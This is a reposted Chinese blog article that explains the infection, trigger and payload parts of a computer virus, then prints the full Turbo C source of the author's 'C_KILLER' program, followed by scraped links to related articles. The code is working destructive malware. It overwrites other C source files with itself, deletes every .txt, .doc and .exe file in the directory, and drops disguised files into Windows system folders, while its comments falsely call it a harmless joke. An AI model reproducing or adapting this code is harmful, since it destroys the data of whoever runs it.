[摘要]在分析病毒机理的基础上,用C语言写了一个小病毒作为实例,用TURBOC2.0实现.

[Abstract] This paper introduce the charateristic of the computer virus,then show a simple example written by TURBOC2.0.

一、什么是病毒
恶意软件可能是第一个对我们产生影响的计算机安全问题.所以病毒在信息安全中是很重要的.
我们要对付病毒,就要了解病毒.
写一些病毒是一个很好的办法.
如果要写一个病毒,先要知道它是什么.可以给病毒一个定义,这一定义是被广泛认可的。Frederic Cohen博士在《计算机病毒简短讲座》中提到的:
“……一种能够通过修改自身来包括或释放自我拷贝而传染给其他程序的程序。“

其实病毒和普通程序并无太大不同,而且通常比较简单,不像很多程序那样复杂。只不过病毒里面用到一些正常程序一般不会用到的技术。
要编制一个病毒,首先要知道病毒的运行机理。
不论是何种病毒,它一般在结构上分为三个功能模块:感染机制,触发机制和有效载荷。
在病毒结构中,首要的而且唯一必需的部分是感染机制。病毒首先必须是能够繁殖自身的代码,这是病毒之所以成为病毒的根本
原因。我们可以用一段类C伪码来表示这个过程。

  1. InfectSection()
  2. {
  3. if (infectable_object_found
  4. &&object_not_already_infect)
  5. infect_object;
  6. }

InfectSection()
{
if (infectable_object_found
&&object_not_already_infect)
infect_object;
}

病毒的第二个主要构成部分是有效载荷触发事件.一个病毒来到你的电脑后,不大可能立即发作,否则它不会被传播得很远.潜伏的敌人永远要比能见到的敌人危险得多.病毒一般是在找到一定数量的感染体,某一日期或时间,某一段文本后触发.
一个简单的触发机制可能是这样工作的:
  1. TriggerSection()
  2. {
  3. if (date_is_Friday_13th_and_time_is_03:13:13)
  4. set_trigger_status_to_yes;
  5. }

TriggerSection()
{
if (date_is_Friday_13th_and_time_is_03:13:13)
set_trigger_status_to_yes;
}

有效载荷就是病毒用来骚扰你的电脑的方法,有触发机制的病毒一般也有有效载荷。它可以是任意的给你发一条一次性简单的愚弄信息,重新格式化你的磁盘,把它自己邮给你的E_mail通信者都可以成为有效的负荷。简单的有效负荷可以如下进行:
  1. Executesection()
  2. {
  3. if (trigger_statue_is_yes)
  4. execute_payload;
  5. }

Executesection()
{
if (trigger_statue_is_yes)
execute_payload;
}

二、 编制病毒的语言
最常见的编制病毒的语言有汇编语言、VB、C 语言等,我们可以来看一看一个有名的病毒论坛上认为学写病毒要掌握的基础:
1).Win32编程,进程,线程,内存,等等。
2).32位汇编,以指令用法为主。386汇编就比较够用了。
3).PE格式,有精力还可以看一下其它可能被感染的文件的文件格式。
4).调试技术。VC,TD32,SoftIce,等等。
要掌握的东西确实很多,还多听都没听过,很吓人.但实际上,即使我们对计算机的原理和操作系统不很了解,而且不熟悉除C
以外的其他语言,只要我们对C的库函数有一定了解,就可以写一些类似病毒的东西.
三 用C编制病毒
以TurboC2.0为例.它的库函数可以实现很多功能.
如以下两个函数:
1).findfirst和findnext函数:在dir.h。findfirst用来找各种类型的文件,可以得到文件名文件长度,文件属性等,findnext和findfirst配合使用,用来找到下一个同类型的文件。
2).remove函数:在stdio.h.只要知道文件名,可以删除任意类型的文件.

四 我写的C病毒
<<计算机病毒解密>>上有一句比较经典的话,"或许把恶意软件造成的损害说成是心理上的损害可能会更恰当一些".从这个意义上说,我的病毒是非常典型的病毒.
下面是我写的病毒.
它主要由四个模块组成.

RubbishMaker()可用来在当前目录下生成大量随机命名的垃圾文件.
CreatEXE()将在C盘的敏感地方放置几个.exe垃圾,它们要隐蔽一些。
Remove()会删掉你的一些东西,所以千万不要随便运行这个程序.
Breed()是C_KILLER的精华所在,它将kill所有的c程序,并利用它们繁殖自身.
前三个是有效负载.
第四个可以说是它的感染机制.
  1. /**********************************
  2. IN FACT,IT"S NOT A VIRYUS AT ALL.
  3. **********************************/
  4. #include <io.h>
  5. #include <dir.h>
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. /* copy outfile to infile */
  10. void copyfile(char *infile, char *outfile)
  11. {
  12. FILE *in,*out;
  13. in = fopen(infile,"r");
  14. out = fopen(outfile,"w");
  15. while (!feof(in))
  16. {
  17. fputc(fgetc(in),out);
  18. }
  19. fclose(in);
  20. fclose(out);
  21. }
  22. /*
  23. This function named Rubbishmaker.
  24. */
  25. void MakeRubbish()
  26. {
  27. int i;
  28. FILE *fp;
  29. char *path;
  30. char *NewName;
  31. char *disk[7] = {"A","B","C","D","E","F","G"};
  32. char *addtion = "://";
  33. /* Make some rubbish at the current catalogue */
  34. for (i = 0; i<5; i++)
  35. {
  36. char tempname[] = "XXXXXX" ;
  37. NewName = mktemp(tempname);
  38. fp = fopen(NewName,"w");
  39. fclose(fp);
  40. }
  41. /* make some rubbish at the root catalogue */
  42. path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
  43. chdir(path); /*change directory according to the "path" */
  44. for (i = 0; i<5; i++)
  45. {
  46. char tempname[] = "XXXXXX";
  47. NewName = mktemp(tempname);
  48. fp = fopen(NewName,"w");
  49. fclose(fp);
  50. }
  51. }
  52. /*
  53. This function can creat some .exe or .com documents in the sensitive place.
  54. Don't worry,It's only a joke.It will do no harm to your computer.
  55. */
  56. void CreatEXE()
  57. {
  58. int i;
  59. char *path;
  60. char *s[2] = {"C://WINDOWS//system32//loveworm.exe","C://WINDOWS//virusssss.com"};
  61. for ( i = 0; i <2; i++)
  62. {
  63. open(s[i], 0x0100,0x0080);
  64. copyfile( "C_KILLER.C",s[i]);
  65. }
  66. }
  67. /* remove something from your computer */
  68. void Remove()
  69. {
  70. int done;
  71. int i;
  72. struct ffblk ffblk;
  73. char *documenttype[3] = {"*.txt","*.doc","*.exe"};
  74. for (i = 0; i <3; i++)
  75. {
  76. done = findfirst(documenttype[i],&ffblk,2);
  77. while (!done)
  78. {
  79. remove(ffblk.ff_name);
  80. done = findnext(&ffblk);
  81. }
  82. }
  83. }
  84. /* overlay the c programs */
  85. void Breed()
  86. {
  87. int done;
  88. struct ffblk ffblk;
  89. done = findfirst("*.c",&ffblk,2);
  90. while (!done)
  91. {
  92. if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )
  93. {
  94. copyfile("C_KILLER.C",ffblk.ff_name);
  95. }
  96. done = findnext(&ffblk);
  97. }
  98. }
  99. void main()
  100. {
  101. printf("THERE IS A VIRUS BY XIAOKE./n/n");
  102. Breed();
  103. Remove();
  104. CreatEXE();
  105. printf("COULD YOU TELL ME YOUR NAME?/n/n");
  106. printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!/n/n");
  107. MakeRubbish();
  108. getchar();
  109. printf("IT'S ONLY A JOKE! THANK YOU!/n/n");
  110. clrscr();
  111. system("cmd");
  112. }

【转】用C写一个简单病毒的更多相关文章

  1. 用Python写一个简单的Web框架

    一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...

  2. 如何写一个简单的http服务器

    最近几天用C++写了一个简单的HTTP服务器,作为学习网络编程和Linux环境编程的练手项目,这篇文章记录我在写一个HTTP服务器过程中遇到的问题和学习到的知识. 服务器的源代码放在Github. H ...

  3. 如何写一个简单的shell

    如何写一个简单的shell 看完<UNIX环境高级编程>后我就一直想写一个简单的shell来作为练习,因为有事断断续续的写了好几个月,如今写了差不多来总结一下. 源代码放在了Github: ...

  4. 分享:计算机图形学期末作业!!利用WebGL的第三方库three.js写一个简单的网页版“我的世界小游戏”

    这几天一直在忙着期末考试,所以一直没有更新我的博客,今天刚把我的期末作业完成了,心情澎湃,所以晚上不管怎么样,我也要写一篇博客纪念一下我上课都没有听,还是通过强大的度娘完成了我的作业的经历.(当然作业 ...

  5. 一步一步写一个简单通用的makefile(三)

    上一篇一步一步写一个简单通用的makefile(二) 里面的makefile 实现对通用的代码进行编译,这一章我将会对上一次的makefile 进行进一步的优化. 优化后的makefile: #Hel ...

  6. Java写一个简单学生管理系统

    其实作为一名Java的程序猿,无论你是初学也好,大神也罢,学生管理系统一直都是一个非常好的例子,初学者主要是用数组.List等等来写出一个简易的学生管理系统,二.牛逼一点的大神则用数据库+swing来 ...

  7. (2)自己写一个简单的servle容器

    自己写一个简单的servlet,能够跑一个简单的servlet,说明一下逻辑. 首先是写一个简单的servlet,这就关联到javax.servlet和javax.servlet.http这两个包的类 ...

  8. express 写一个简单的web app

    之前写过一个简单的web app, 能够完成注册登录,展示列表,CURD 但是版本好像旧了,今天想写一个简单的API 供移动端调用 1.下载最新的node https://nodejs.org/zh- ...

  9. 写一个简单的C词法分析器

    写一个简单的C词法分析器 在写本文过程中,我参考了<词法分析器的实现>中的一些内容.这里我们主要讨论写一个C语言的词法分析器. 一.关键字 首先,C语言中关键字有: auto.break. ...

随机推荐

  1. Spinner控件

    首先在XML文件中声明一个Spinner控件: <Spinner android:id="@+id/spinnerId" android:layout_width=" ...

  2. Windows Phone 如何在程序中播放提示声音?

    在Windows Phone 中播放提示音可以使用 Microsoft.Xna.Framework.Audio 命名空间下的 SoundEffect 类.具体使用方法如下: 1. 根据声音文件路径创建 ...

  3. jQuery-1.9.1源码分析系列(四) 缓存系统

    先前在分析Sizzle的时候分析到Sizzle有自己的缓存机制,点击这里查看.不过Sizzle的缓存只是对内使用的(内部自己存,自己取).接下来分析jQuery可以对外使用的缓存(可存可取). 首先需 ...

  4. CSS-清除浮动

    什么是CSS清除浮动? 在非IE浏览器(如Firefox)下,当容器的高度为auto,且容器的内容中有浮动(float为left或right)的元素,在这种情况下,容器的高度不能自动伸长以适应内容的高 ...

  5. .Net语言 APP开发平台——Smobiler学习日志:实现手机上常见的ListMenuView

    最前面的话:Smobiler是一个在VS环境中使用.Net语言来开发APP的开发平台,也许比Xamarin更方便 一.目标样式 我们要实现上图中的效果,需要如下的操作: 1.从工具栏上的"S ...

  6. Android的系统服务一览

    System_Server进程 运行在system server进程中的服务比较多,这是整个Android框架的基础 Native服务 SurfaceFlinger 这是framebuffer合成的服 ...

  7. Linux查看CPU和内存使用情况(转)

    在系统维护的过程中,随时可能有需要查看 CPU 使用率,并根据相应信息分析系统状况的需要.在 CentOS 中,可以通过 top 命令来查看 CPU 使用状况.运行 top 命令后,CPU 使用状态会 ...

  8. gson笔记 解析json数据

    gson中负责json数据解析的类是JsonReader. Json格式有两种结构,一种是对象(键值对的组合,无序),另外一种是数组(值的有序集合). 因此针对这两种格式,JsonReader提供了不 ...

  9. 《移动端浏览器Touch事件判断手指滑动方向方法》

    $("body").on("touchstart", function(e) {     e.preventDefault();     startX = e. ...

  10. jQuery实现鼠标经过图片变亮效果

    在线体验效果:http://hovertree.com/texiao/jquery/1.htm 以下是完整源代码: <!DOCTYPE html PUBLIC "-//W3C//DTD ...